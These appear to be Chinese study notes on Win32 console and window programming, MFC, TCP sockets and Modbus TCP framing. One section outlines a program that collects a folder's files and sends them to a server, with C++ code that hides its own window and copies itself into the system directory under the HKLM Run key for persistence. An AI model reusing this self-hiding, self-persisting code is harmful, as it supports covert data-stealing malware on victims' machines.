微软开发文档地址
Windows 程序设计:以 C++类的形式封装了 Windows API,并且包含一个应用程序框架,以减少应用程序开发人员的工作量。包含大量 Windows 句柄封装类和很多 Windows 的内建控件和组件的封装类。专心的考虑程序的逻辑,而不是这些每次编程都要重复的东西,但是由于是通用框架,没有最好的针对性。
C/C++编程:仅产生少量的机器语言以及不需要任何运行环境支持便能运行的高效率程序设计语言。依靠非常全面的运算符和多样的数据类型,可以容易完成各种数据结构的构建,通过指针类型可对内存直接寻址以及对硬件进行直接操作,因此既能够用于开发系统程序,也可用于开发应用软件。
VA 的常用快捷键:
微软官方文档地址
GetStdHandle
是 Windows API 中的一个函数,用于获取标准输入、标准输出或标准错误的句柄。这些句柄可以用于控制台应用程序与用户进行交互时的输入和输出操作。
设置控制台屏幕缓冲区窗口的当前大小和位置。
矩形的宽度 = Right - Left + 1
矩形的高度 = Bottom - Top + 1
设置控制台缓冲区大小。
设置控制台窗口标题。
总体设计如下,除了设置宽、高、窗口名以外,我们还定义了一个回调函数的格式,让用户可以通过自定义的回调函数来对不同的错误类型进行处理。
在每次遇到返回值处理的时候,我们都交给用户传入的函数来进行相应处理。
当再次调整缓冲区大小为窗口大小的时候,会发现窗口宽和高各留了一个像素,这个其实是滚动条消失了,但是给滚动条预留的大小还存在窗口中,需要重新设置一下窗口大小。
获得有关指定控制台屏幕缓冲区的游标大小和可见性的信息。
设置指定控制台屏幕缓冲区中的光标位置。
检索有关当前控制台字体的扩展信息。
设置由 WriteFile 或 WriteConsole 函数写入控制台屏幕缓冲区或由 ReadFile 或 ReadConsole 函数回显的字符的属性。 此函数会影响在函数调用后写入的文本。
将字符和颜色属性数据写入控制台屏幕缓冲区中字符单元的指定矩形块。 要写入的数据取自源缓冲区中指定位置相应大小的矩形块。
参数说明:
lpBuffer:
const CHAR_INFO*
CHAR_INFO
结构来表示每个字符及其属性。dwBufferCoord
COORD
lpBuffer
缓冲区中要写入数据的区域的左上角坐标。这个坐标是相对于 lpBuffer
缓冲区的(而不是控制台屏幕缓冲区)。关于文字的颜色。每种颜色对应一位,一共有4bit表示颜色,所以是16种。
如果我们仅仅使用 PCHAR dst
,在函数内部对 dst
的修改不会影响外部传入的指针,这意味着我们不能在函数内分配新的内存并让外部变量指向这块内存。而使用 PCHAR& dst
,我们就可以在函数内部分配新内存,并使外部指针指向这块新内存。当 dst
是空指针时,需要在函数内部分配新的内存并让 dst
指向这块新内存。这时因为需要修改 dst
指针本身,所以需要传入指针的引用(PCHAR&
)或者使用指针的指针(PCHAR*
)。
Unicode: Unicode 是一种字符编码标准,使用 16 位数据表示一个字符,共可以表示 65535 种字符。它支持全球大部分语言的字符。
ANSI: ANSI 字符集使用 8 位数据或将相邻的两个 8 位的数据组合在一起表示特殊的语言字符。如果一个字节是负数,则将其后续的一个字节组合在一起表示一个字符。这种编码方式的字符集也称作“多字节”字符集。
在开发中文应用程序时,通常建议使用 Unicode 编码集。
Unicode 支持全球几乎所有语言的字符,这使得您的应用程序不仅可以处理中文,还可以轻松扩展支持其他语言,便于国际化。
Windows 操作系统内部大量使用 Unicode,使用 Unicode 可以避免多字节编码集(如 ANSI)和 Unicode 之间的转换问题,减少编码错误,提高应用程序的稳定性。
现代的 Windows API 大多数都推荐使用 Unicode 版本(以 W
结尾的函数),而 ANSI 版本(以 A
结尾的函数)主要是为了兼容老的系统和应用程序。使用 Unicode 可以确保应用程序在未来的 Windows 版本中有更好的兼容性。
INT
: 表示整数类型,通常占用 4 个字节。UINT
: 表示无符号整数类型,通常占用 4 个字节。SHORT
: 表示短整数类型,通常占用 2 个字节。USHORT
: 表示无符号短整数类型,通常占用 2 个字节。LONG
: 表示长整数类型,通常占用 4 个字节。ULONG
: 表示无符号长整数类型,通常占用 4 个字节。FLOAT
: 表示单精度浮点数类型,通常占用 4 个字节。DOUBLE
: 表示双精度浮点数类型,通常占用 8 个字节。BOOL
: 表示布尔类型,通常占用 4 个字节。取值为 TRUE(1)
或 FALSE(0)
。LPCSTR
2.LPCWSTR
3.LPCTSTR
UNICODE
宏,则是 LPCWSTR
类型,否则是 LPCSTR
类型。LPDWORD
DWORD
类型数据的指针。LPSTR
6.LPWSTR
7.LPTSTR
UNICODE
宏,则是 LPWSTR
类型,否则是 LPSTR
类型。HANDLE
: 用于表示各种对象的句柄,如文件、窗口、菜单等。HWND
: 表示窗口句柄。HDC
: 表示设备上下文句柄,用于绘图操作。HINSTANCE
: 表示应用程序实例句柄。WPARAM
: 表示消息的附加信息,通常用于传递额外的数据,大小与指针相同。LPARAM
: 表示消息的附加信息,通常用于传递额外的数据,大小与指针相同。LRESULT
: 表示消息处理的返回值,大小与指针相同。DWORD
: 表示双字类型,通常用于计时器或标志位,大小为 4 个字节。LPCTSTR
: 指向常量字符串的指针(适用于 Unicode 或 ANSI 字符)。LPTSTR
: 指向字符串的指针(适用于 Unicode 或 ANSI 字符)。LPVOID
: 指向任意类型的指针。left
、top
、right
、bottom
。x
和 y
。cx
(宽度)和 cy
(高度)。前缀 | 含义 | 前缀 | 含义 |
---|---|---|---|
a | 数组 array | b | 布尔值 bool |
by | 无符号字符(字节) | c | 字符(字节) |
cb | 字节计数 | rgb | 保存颜色值的长整型 |
cx,cy | 短整型(计算 x,y 的长度) | dw | 无符号长整型 |
fn | 函数 | h | 句柄 |
i | 整形(integer) | m_ | 类的数据成员 member |
n | 短整型或整型 | np | 近指针 |
p | 指针(pointer) | l | 长整型(long) |
lp | 长指针 | s | 字符串 string |
sz | 以零结尾的字符串 | tm | 正文大小 |
w | 无符号整型 | x,y | 无符号整型(表示 x,y 的坐标) |
_stdcall
调用约定:
参数传递顺序:
参数从右到左进行压栈。也就是说,最后一个参数最先被压入堆栈。
堆栈清理:
调用该函数的代码负责传递参数,但函数自身负责清理堆栈。这与 __cdecl
调用约定不同,__cdecl
是由调用者负责清理堆栈。
名称修饰:
使用 _stdcall 调用约定的函数在编译时会进行名称修饰,函数名通常会被前缀一个下划线并在后面加上 @ 和参数的字节数。例如:
int WINAPI MyFunction(int a, int b);
将被编译器修饰为 _MyFunction@8。
WNDCLASS 是 Win32 编程中定义窗口类的结构体,用于注册窗口类以便创建窗口。
style
UINT
|
运算符连接。CS_HREDRAW
: 水平大小改变时重绘整个窗口。CS_VREDRAW
: 垂直大小改变时重绘整个窗口。CS_OWNDC
: 每个窗口有自己的设备上下文。lpfnWndProc
WNDPROC
WM_PAINT
、WM_DESTROY
等消息。cbClsExtra
int
cbWndExtra
int
hInstance
HINSTANCE
GetModuleHandle(NULL)
获取当前应用程序实例句柄。hIcon
HICON
LoadIcon
加载图标资源。hCursor
HCURSOR
LoadCursor
加载光标资源。hbrBackground
HBRUSH
(HBRUSH)(COLOR_WINDOW+1)
。lpszMenuName
LPCTSTR
NULL
。lpszClassName
LPCTSTR
窗口(Window):窗口是 Windows 操作系统的一个基本组成部分,它代表了用户界面的一部分。几乎所有的用户界面元素(如按钮、文本框、列表框等)都是窗口。可以显示信息、接收用户输入等。
MFC 提供了一组类来表示不同类型的窗口,这些类都派生自 CWnd
类。以下是一些常见的 MFC 窗口类:
CFrameWnd
:用于表示主框架窗口。CDialog
:用于表示对话框窗口。CView
:用于表示视图窗口,通常与文档-视图架构(Document/View Architecture)一起使用。CButton
、CEdit
、CListBox
等:用于表示各种控件窗口。句柄(Handle):句柄是一个唯一的整数值,用于标识 Windows 系统中的对象。句柄可以看作是对象的标识符,允许应用程序与操作系统进行交互而不必了解对象的内部结构。
常见的句柄类型:
在 MFC 中,每个窗口对象都有一个对应的窗口句柄(HWND)。窗口句柄是由 Windows 操作系统分配的,用于唯一标识窗口。
窗口对象:窗口对象是系统内部用来管理窗口状态和行为的数据结构。通过窗口句柄,可以访问窗口对象并对其进行操作,如显示窗口、更新窗口内容等。
消息(Message):在 Win32 编程中,系统通过消息机制与窗口通信。每当发生用户输入(如鼠标点击、键盘输入)或系统事件(如窗口大小改变),系统会生成相应的消息并将其发送给窗口。
消息循环(Message Loop):消息循环是一个循环结构,用于从消息队列中获取消息并将其分派给窗口过程函数进行处理。
消息循环的基本流程如下:
在传统的 Windows 应用程序中,消息循环通常如下所示:
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
在 Windows 编程中,窗口过程函数(Window Procedure)是一个非常重要的概念。窗口过程函数是处理窗口消息的核心函数,每当窗口接收到消息时,操作系统都会调用这个函数。每个窗口类都有一个窗口过程函数,定义窗口如何响应各种消息。
Win32 应用程序开发涉及以下步骤:
TCP协议中不存在数据边界的概念意味着,TCP将数据视为一个连续的字节流,而不是一个个独立的数据包。在传输过程中,数据被分割成段(segment),每个段包含一部分数据流中的字节,但TCP并不关心这些段的边界。
建立TCP连接时,需要进行三次握手过程,以确保双方都准备好并且能够进行通信。
关闭TCP连接需要四次挥手过程,确保双方都完成了数据传输并且准备关闭连接。
listen
函数用于将套接字设置为被动模式,准备接受连接请求。其原型如下:
int listen(int sockfd, int backlog);
backlog 参数指定了内核为这个套接字维护的连接请求队列的最大长度。这个队列包含了已完成的连接和等待完成的连接(半连接)。
我们可以将连接请求队列分为两个部分:
accept
函数处理的连接。假设 backlog 设置为 5,表示服务器最多能同时处理 5 个连接请求:
accept
函数并从完全连接队列中移除一个连接后,新的连接请求才能进入这个队列。当我们通过多个客户端连接服务器的时候,只有前五个连接成功了,后面的都是错误10061。
也就是说,服务器拒绝连接。
先实现一个找到文件夹中所有文件的函数。
找到文件后,发送文件内容给指定服务器。
void ErrorHandling(const char* format, ...)
{
va_list args;
va_start(args, format);
vfprintf(stderr, format, args); // 格式化输出错误信息到标准错误流
va_end(args);
fputc('\n', stderr);
exit(1);
}
void HideMyself()
{
//拿到当前的窗口句柄
HWND hwnd = GetForegroundWindow();
//隐藏当前窗口
ShowWindow(hwnd, SW_HIDE);
}
void AddToSystem(const char* programName) {
HKEY hKEY;
char CurrentPath[MAX_PATH];
char SysPath[MAX_PATH];
long ret = 0;
LPSTR FileNewName;
LPSTR FileCurrentName;
DWORD type = REG_SZ;
DWORD size = MAX_PATH;
LPCTSTR Rgspath = "Software\Microsoft\Windows\CurrentVersion\Run";
// 获取系统目录
GetSystemDirectory(SysPath, size);
// 获取当前程序路径
GetModuleFileName(NULL, CurrentPath, size);
// 复制文件
FileCurrentName = CurrentPath;
FileNewName = strcat(SysPath, "\");
FileNewName = strcat(FileNewName, programName);
struct _finddata_t Steal;
cout << "ret1 = " << ret << endl;
if (_findfirst(FileNewName, &Steal) != -1) {
// 已经安装
cout << "ret2 = " << ret << endl;
return;
}
int ihow = MessageBox(0,
"该程序仅用于合法目的的运行!\n"
"按“取消”退出。\n"
"按“是”按钮将复制到您的计算机上,并随系统启动自动运行。\n"
"按“否”按钮,程序只运行一次,不会在您的系统内留下任何痕迹。",
"警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
if (ihow == IDCANCEL)
exit(0);
if (ihow == IDNO) {
// 只运行一次
return;
}
// 复制文件
ret = CopyFile(FileCurrentName, FileNewName, TRUE);
if (!ret) {
cout << "文件复制失败" << endl;
return;
}
// 加入注册表
cout << "ret = " << ret << endl;
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);
if (ret != ERROR_SUCCESS) {
cout << "无法打开注册表项" << endl;
RegCloseKey(hKEY);
return;
}
// 设置注册表值
ret = RegSetValueEx(hKEY, "MyProgram", 0, type, (const unsigned char*)FileNewName, size);
if (ret != ERROR_SUCCESS) {
cout << "无法设置注册表值" << endl;
RegCloseKey(hKEY);
return;
}
RegCloseKey(hKEY);
cout << "程序成功添加到启动项" << endl;
}
Modbus TCP协议通常在应用层实现。在Modbus TCP中,每个数据包由一个MBAP头和一个PDU(协议数据单元)组成。MBAP头包含事务ID、协议ID、长度和单元ID。PDU则包含功能码和数据。
Modbus TCP 的消息框架
基于 Modbus RTU/ASCII 的消息框架,并在其前面加上一个 Modbus TCP 的特定头(MBAP Header)。
MBAP 头包含以下字段:
Modbus PDU(Protocol Data Unit):紧随 MBAP 头之后,包括功能码和数据。
Modbus 协议使用以下数据模型:
这些寄存器的地址范围通常为 0 到 65535。
Modbus 协议定义了一组功能码,用于指定不同的操作,例如读写寄存器或线圈。常见的功能码包括:
Modbus TCP协议遵循大端(Big-endian)字节序,即高位字节在前,低位字节在后。
事务处理标识假设它的值是 0x0001
query[0] = 0x0001 >> 8; // 获取高字节,0x00
query[1] = 0x0001 & 0xFF; // 获取低字节,0x01
协议标识:固定为 0x0000
query[2] = 0x0000 >> 8; // 获取高字节,0x00
query[3] = 0x0000 & 0xFF; // 获取低字节,0x00
长度:假设它的值是 0x0006
query[4] = 0x0006 >> 8; // 获取高字节,0x00
query[5] = 0x0006 & 0xFF; // 获取低字节,0x06
单元标识符:假设它的值是 0x01
query[6] = 0x01;
功能码:假设它的值是 0x03
query[7] = function_code; // 0x03
开始地址:假设它的值是 0x0000
query[8] = 0x0000 >> 8; // 获取高字节,0x00
query[9] = 0x0000 & 0xFF; // 获取低字节,0x00
寄存器个数:假设它的值是 0x000A
query[10] = 0x000A >> 8; // 获取高字节,0x00
query[11] = 0x000A & 0xFF; // 获取低字节,0x0A